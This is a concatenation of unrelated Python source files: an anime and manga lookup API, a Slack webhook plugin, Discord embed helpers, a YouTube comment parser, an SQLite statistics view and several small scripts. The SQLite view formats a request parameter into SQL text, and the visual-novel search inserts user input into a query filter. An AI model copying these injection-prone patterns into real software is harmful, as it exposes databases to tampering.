                cnt1 += 1
            if othello[i][j] == 2:
                cnt2 += 1
    print(f'#{tc} {cnt1} {cnt2}')


from enum import Enum

from fastapi import HTTPException
import requests

from sauce_searcher_server.constants import (
    ANIME_ID_QUERY,
    ANIME_NAME_QUERY,
    DOUJIN_ID_QUERY,
    LIGHT_NOVEL_ID_QUERY,
    LIGHT_NOVEL_NAME_QUERY,
    MANGA_ID_QUERY,
    MANGA_NAME_QUERY,
    VNDB_QUERY,
)
from sauce_searcher_server.models import Anime, Doujin, LightNovel, Manga, VisualNovel
from sauce_searcher_server.serializers import (
    parse_anime,
    parse_doujin,
    parse_light_novel,
    parse_manga,
    parse_visual_novel,
)
from sauce_searcher_server.vndb import VNDBSession

class QueryType(str, Enum):
    anime = 'Anime'
    manga = 'Manga'
    light_novel = 'Light Novel'
    visual_novel = 'Visual Novel'
    doujin = 'Doujin'

def get_mal_id(query: str, query_type: QueryType) -> int:
    if query_type == QueryType.anime:
        url = f'{ANIME_NAME_QUERY}{query}'
    elif query_type == QueryType.manga:
        url = f'{MANGA_NAME_QUERY}{query}'
    elif query_type == QueryType.light_novel:
        url = f'{LIGHT_NOVEL_NAME_QUERY}{query}'
    else:
        raise ValueError(f'MAL ID does not exist for {query_type}')

    response = requests.get(url)
    if response.ok:
        data = response.json()
        results = data['results']
        if results and query_type == QueryType.anime:
            mal_id = results[0]['mal_id']
            return mal_id
        elif results:
            for result in results:
                if result['type'] == query_type:
                    return result['mal_id']

        raise HTTPException(status_code=404, detail=f'{query_type} name not found')
    else:
        raise HTTPException(status_code=response.status_code, detail=response.reason)

def get_anime(query: str) -> Anime:
    mal_id = get_mal_id(query, QueryType.anime)
    url = f'{ANIME_ID_QUERY}{mal_id}'

    response = requests.get(url)
    if response.ok:
        data = response.json()
        anime = parse_anime(data)
        return anime
    else:
        raise HTTPException(status_code=404, detail='Anime not found')

def get_manga(query: str) -> Manga:
    mal_id = get_mal_id(query, QueryType.manga)
    url = f'{MANGA_ID_QUERY}{mal_id}'

    response = requests.get(url)
    if response.ok:
        data = response.json()
        manga = parse_manga(data)
        return manga
    else:
        raise HTTPException(status_code=404, detail='Manga not found')

def get_light_novel(query: str) -> LightNovel:
    mal_id = get_mal_id(query, QueryType.light_novel)
    url = f'{LIGHT_NOVEL_ID_QUERY}{mal_id}'

    response = requests.get(url)
    if response.ok:
        data = response.json()
        light_novel = parse_light_novel(data)
        return light_novel
    else:
        raise HTTPException(status_code=404, detail='Light Novel not found')

def get_visual_novel(query: str) -> VisualNovel:
    with VNDBSession() as sess:
        sess.login()
        response = sess.get('vn', VNDB_QUERY, f'(title ~ "{query}")')

    results = response.get('items')
    if results:
        data = results[0]
        visual_novel = parse_visual_novel(data)
        return visual_novel
    else:
        raise HTTPException(status_code=404, detail='Visual Novel not found')

def get_doujin(query: int) -> Doujin:
    url = f'{DOUJIN_ID_QUERY}{query}'

    response = requests.get(url)
    if response.ok:
        data = response.json()
        doujin = parse_doujin(data)
        return doujin
    else:
        raise HTTPException(status_code=404, detail='Doujin not found')


__version__ = '1.0.0'
__description__ = 'sends event to Slack'

import requests

from jsonschema import validate

from roboger.core import logger, log_traceback, product, get_timeout

PROPERTY_MAP_SCHEMA = {
    'type': 'object',
    'properties': {
        'url': {
            'type': 'string',
            'format': 'uri'
        },
        'rich': {
            'type': 'boolean'
        }
    },
    'additionalProperties': False
}

slack_color = {
    10: '#555555',
    20: 'good',
    30: 'warning',
    40: 'danger',
    50: '#FF2222'
}

def send(config, event_id, level, formatted_subject, subject, msg, sender,
         **kwargs):
    url = config['url']
    logger.debug(f'{__name__} {event_id} sending Slack webhook to {url}')
    if config.get('rich'):
        data = {'text': ''}
        color = slack_color.get(level, 'good')
        data['attachments'] = [{
            'fallback':
                formatted_subject,
            'color':
                color,
            'fields': [{
                'title': formatted_subject,
                'value': msg,
                'short': subject
            }]
        }]
    else:
        data = {'text': f'{formatted_subject}\n{msg}'}
    if sender:
        data['username'] = sender
    r = requests.post(url,
                      headers={'User-Agent': product.user_agent},
                      json=data,
                      timeout=get_timeout())
    if not r.ok:
        raise RuntimeError(f'{__name__} server {url} status {r.status_code}')

def validate_config(config, **kwargs):
    validate(config, schema=PROPERTY_MAP_SCHEMA)

def validate_plugin_config(plugin_config, **kwargs):
    if plugin_config:
        raise ValueError('this plugin should have no configuration options')


EMPTY = 0

class Case(object):
    """
    Représente la case d' une grille
    """
    nb_case = 0

    def __init__(self, player=None, status=EMPTY):
        Case.nb_case += 1
        self.id = Case.nb_case
        self.status = status
        self.player = player

    def __repr__(self):
        if self.player is None:
            return ""
        else:
            return self.player.name


from sqlite3 import Error as dbError
from response import Response, fill_template, escape

class ViewCommentStats(Response):
    def __init__(self):
        super().__init__()

    def model(self, conn, params):
        region_code = escape('id', params['resource_id'])
        if len(region_code)>0:
            self.props['template'] = 'city'
            query = """SELECT cities.city_id as id, cities.name as name, count(*)
            FROM comments INNER JOIN cities ON cities.city_id = comments.city_id
            WHERE comments.region_code={0} GROUP BY comments.city_id HAVING count(*) > 5""".format(region_code)
        else:
            self.props['template'] = 'region'
            query = """SELECT region_code, regions.name as name, count(*)
            FROM comments INNER JOIN regions ON regions.code = comments.region_code
            GROUP BY region_code HAVING count(*) > 5 """
        cursor = conn.cursor()
        try:
            cursor.execute(query)
        except dbError as err:
            self.props['error'] = err
            self.props['comments'] = []
        else:
            self.props['comments'] = [{
                'id': row[0],
                'name': row[1],
                'sum': row[2]
            } for row in cursor]
            if len(self.props['comments'])==0:
                self.props['error'] = 'Данные не найдены'
        return self

    def render(self, assets):
        asset_type = 'HTML'
        rows = [fill_template(assets[self.props['template']], row) for row in self.props['comments']]
        rows_text = ''.join(rows)
        content = fill_template(assets['body'], {
            'rows': rows_text,
            'header': assets['header'],
            'error': self.props['error']
            }).encode()
        status = self.status['OK']
        return status, self.headers(asset_type,content), content


import eyelinkparser as ep
from eyelinkparser import parse, defaulttraceprocessor, parse_file
from eyelinkparser import EyeLinkPlusParser
import os

if __name__ == '__main__':
    absolute_path = os.path.abspath('../data/new_data/sample2_2022_03_03_17_57.asc')
    dm = parse_file(
        parser=EyeLinkPlusParser,
        filepath=absolute_path,  # Folder with .asc files
        traceprocessor=defaulttraceprocessor(
            blinkreconstruct=True,  # Interpolate pupil size during blinks
            downsample=1,  # Reduce sampling rate to 100 Hz,
            mode='advanced'  # Use the new 'advanced' algorithm
        )
    )

    a=1


import re

file='comments.txt'
commentCount = 0
comments = []
videoComments = []
urls = []
capids = []
languages = []
publishTimeStamps = []
channelIds = []
channelTitles = []
categories = []
titles = []
descriptions = []
channelPublishedatTimeStamps = []
channelDescriptions = []
channelSubscriberCounts = []
channelViewCounts = []
channelCommentCounts = []
channelVideoCounts = []

with open(file) as input:
    for line in input:
        print(line)
        commentPattern = re.compile("comment\":.*?\[(.*?)\]", re.DOTALL)
        idPattern = re.compile("id\":.*?\"(.*?)\"", re.DOTALL)
        capIdPattern = re.compile("captid\":.*?\"(.*?)\"", re.DOTALL)
        languagePattern = re.compile("language\":.*?\"(.*?)\"", re.DOTALL)
        publishPattern =  re.compile("publishedAt\":.*?\"(.*?)\"", re.DOTALL)
        channelIdPattern =  re.compile("channelId\":.*?\"(.*?)\"", re.DOTALL)
        channelTitlePattern =  re.compile("channelTitle\":.*?\"(.*?)\"", re.DOTALL)
        categoryIdPattern = re.compile("categoryId\":.*?\"(.*?)\"", re.DOTALL)
        titlePattern = re.compile("title\":.*?\"(.*?)\"", re.DOTALL)
        descriptionPattern = re.compile("description\":.*?\"(.*?)\"", re.DOTALL)
        channelPublishPattern = re.compile("channelPublishedat\":.*?\"(.*?)\"", re.DOTALL)
        channelDescriptionPattern = re.compile("channelDescription\":.*?\"(.*?)\"", re.DOTALL)
        channelSubscriberCountPattern = re.compile("channelSubscriberCount\":.*?\"(.*?)\"", re.DOTALL)
        channelViewCountPattern = re.compile("channelViewCount\":.*?\"(.*?)\"", re.DOTALL)
        channelCommentCountPattern = re.compile("channelCommentCount\":.*?\"(.*?)\"", re.DOTALL)
        channelVideoCountPattern = re.compile("channelVideoCount\":.*?\"(.*?)\"", re.DOTALL)

        #if statement to check if theres more than 1 comment
        #if ther eis more than one, iterate code to go through multiple comments
        #datePattern =
        if "comment" in line:
            output = commentPattern.search(line)
            idOutput = idPattern.search(line)
            capIdOutput = capIdPattern.search(line)
            languageOutput = languagePattern.search(line)
            publishTimeStampOutput = publishPattern.search(line)
            channelIdOutput = channelIdPattern.search(line)
            channelTitleOutput = channelTitlePattern.search(line)
            categoryOutput = categoryIdPattern.search(line)
            titleOutput = titlePattern.search(line)
            descriptionOutput  = descriptionPattern.search(line)
            channelPublishTimeStampOutput = channelPublishPattern.search(line)
            channelDescriptionOutput = channelDescriptionPattern.search(line)
            channelSubscriberCountOutput = channelSubscriberCountPattern.search(line)
            channelViewCountOutput = channelViewCountPattern.search(line)
            channelCommentCountOutput = channelCommentCountPattern.search(line)
            channelVideoCountOutput = channelVideoCountPattern.search(line)

#            testing
#            print(11111111111111111)
#            print(output.group(1))
#            print(idOutput.group(1))
#            print()
#            print(11111111111111111)

            videoComments = [output.group(1)]

            for item in videoComments:
                if len(item) > 3:
#                    item.strip()
                    comments.append(item)
                    if "id" in line:
                        urls.append("https://www.youtube.com/watch?v=" + idOutput.group(1))
                    if "captid" in line:
                        capids.append(capIdOutput.group(1))
                    if "language" in line:
                        languages.append(languageOutput.group(1))
                    if "publishedAt" in line:
                        publishTimeStamps.append(publishTimeStampOutput.group(1))
                    if "channelId" in line:
                        channelIds.append(channelIdOutput.group(1))
                    if "channelTitle" in line:
                        channelTitles.append(channelTitleOutput.group(1))
                    if "categoryId" in line:
                        categories.append(categoryOutput.group(1))
                    if "title" in line:
                        titles.append(titleOutput.group(1))
                    if "description" in line:
                        descriptions.append(descriptionOutput.group(1))
                    if "channelPublishedat" in line:
                        channelPublishedatTimeStamps.append(channelPublishTimeStampOutput.group(1))
                    if "channelDescription" in line:
                        channelDescriptions.append(channelDescriptionOutput.group(1))
                    if "channelSubscriberCount" in line:
                        channelSubscriberCounts.append(channelSubscriberCountOutput.group(1))
                    if "channelViewCount" in line:
                        channelViewCounts.append(channelViewCountOutput.group(1))
                    if "channelCommentCount" in line:
                        channelCommentCounts.append(channelCommentCountOutput.group(1))
                    if "channelVideoCount" in line:
                        channelVideoCounts.append(channelVideoCountOutput.group(1))

#
print(comments[0]+"..."+urls[0]+"..."+capids[0]+"..."+languages[0]+"..."+
      publishTimeStamps[0]+"..."+channelIds[0]+"..."+channelTitles[0]+"..."+
      categories[0]+"..."+titles[0]+"..."+descriptions[0]+"..."+
      channelPublishedatTimeStamps[0]+"..."+channelDescriptions[0]+"..."+
      channelSubscriberCounts[0]+"..."+channelViewCounts[0]+"..."+
      channelCommentCounts[0]+"..."+channelVideoCounts[0])


import discord
import datetime
from dateutil import tz

class EmbedUtil:
    def __init__(self):
        pass

    @classmethod
    def datetime_to_kr(cls, timestamp) -> str:
        from_zone = tz.tzutc()
        to_zone = tz.gettz("Asia/Seoul")
        d = datetime.datetime.strptime(timestamp, "%Y-%m-%dT%H:%M:%SZ")
        d = d.replace(tzinfo=from_zone)
        d = d.astimezone(tz=to_zone)
        d = d.strftime("%Y년 %m월 %d일 %H시 %M분")
        return d

    @classmethod
    def author(cls, embed=discord.Embed, author=discord.abc.User) -> None:
        embed.set_author(name=author, icon_url=author.avatar_url)

    @classmethod
    def footer(cls, embed=discord.Embed) -> None:
        embed.timestamp = datetime.datetime.utcnow()
        embed.color = 0xFFC9C2
        embed.set_footer(text="Dukzl")

    @classmethod
    def twitch_user_embed(cls, data, embed=discord.Embed) -> None:
        embed.add_field(
            name="설명",
            value=(lambda n: "(없음)" if n == "" else n)(data["data"][0]["description"]),
            inline=False,
        )
        embed.add_field(
            name="스트리머 타입",
            value=(lambda broad_type: "파트너" if broad_type == "partner" else "일반")(
                data["data"][0]["broadcaster_type"]
            ),
            inline=True,
        )
        embed.add_field(
            name="API 고유 ID",
            value=(lambda n: "(없음)" if n == "" else n)(data["data"][0]["id"]),
            inline=True,
        )
        embed.add_field(
            name="총 조회수",
            value=(lambda n: "(없음)" if n == "" else n)(data["data"][0]["view_count"]),
            inline=True,
        )
        if data["data"][0]["profile_image_url"]:
            embed.set_thumbnail(url=data["data"][0]["profile_image_url"])
        if data["data"][0]["offline_image_url"]:
            embed.set_image(url=data["data"][0]["offline_image_url"])

    @classmethod
    def twitch_stream_embed(cls, data, embed: discord.Embed, game=None) -> None:
        embed.add_field(
            name="API 고유 유저 ID",
            value=(lambda n: "(없음)" if n == "" else n)(data["user_id"]),
            inline=True,
        )
        embed.add_field(
            name="API 고유 방송 ID",
            value=(lambda n: "(없음)" if n == "" else n)(data["id"]),
            inline=True,
        )
        if game:
            embed.add_field(
                name="게임 이름",
                value=(lambda n: "(없음)" if n == "" else n)(game["name"]),
                inline=True,
            )
        if data["started_at"]:
            dd = cls.datetime_to_kr(data["started_at"])
            embed.add_field(
                name="시작 시각",
                value=(lambda n: "(없음)" if n == "" else n)(dd),
                inline=True,
            )
        embed.add_field(
            name="현재 시청자 수",
            value=(lambda n: "(없음)" if n == "" else f"{n}명")(data["viewer_count"]),
            inline=True,
        )
        uri = data["thumbnail_url"]
        uri = uri.replace("{width}", "1920")
        uri = uri.replace("{height}", "1080")
        if data["thumbnail_url"] is not None:
            embed.set_image(url=uri)


import math

terms = 10
approximation = 1
factorial = 1

print("Approximations:")
for i in range(1, terms + 1):
    factorial *= i
    term = 1 / factorial
    approximation += term

    print(f"Term {i}: {approximation}")

print(f"\nEstimated value of e using {terms} terms: {approximation}")
print(f"Actual value of e: {math.e}")


import  numpy as np
from matplotlib import pyplot as plt
from fieldosophy.misc import misc_functions as misc

boundingBox = np.array([[0,1], [0,1]])

# %% Plot sinus basis

x = np.linspace(boundingBox[0,0], boundingBox[0,1],100)
y = np.linspace(boundingBox[1,0], boundingBox[1,1],100)
x,y = np.meshgrid(x,y)
z = misc.cosinusBasis( np.concatenate(( x.reshape((-1,1)), y.reshape((-1,1)) ), axis=1), \
   np.array([ [0,0,0,1]]).transpose(), boundingBox )
z = z.reshape(x.shape)

fig = plt.figure(1)
plt.cla()
plt.title( "Sinusoid" )

plt.plot(x[1,:], z[1,:])


from . import *

def run(source, target):
    try:
        print(convert(Value.parse(source), Unit.parse(target)))
    except ValueError as err:
        print(err)

def main():
    run(input("convert value: ").strip(), input("to unit: ").strip())

if __name__ == "__main__":
    main()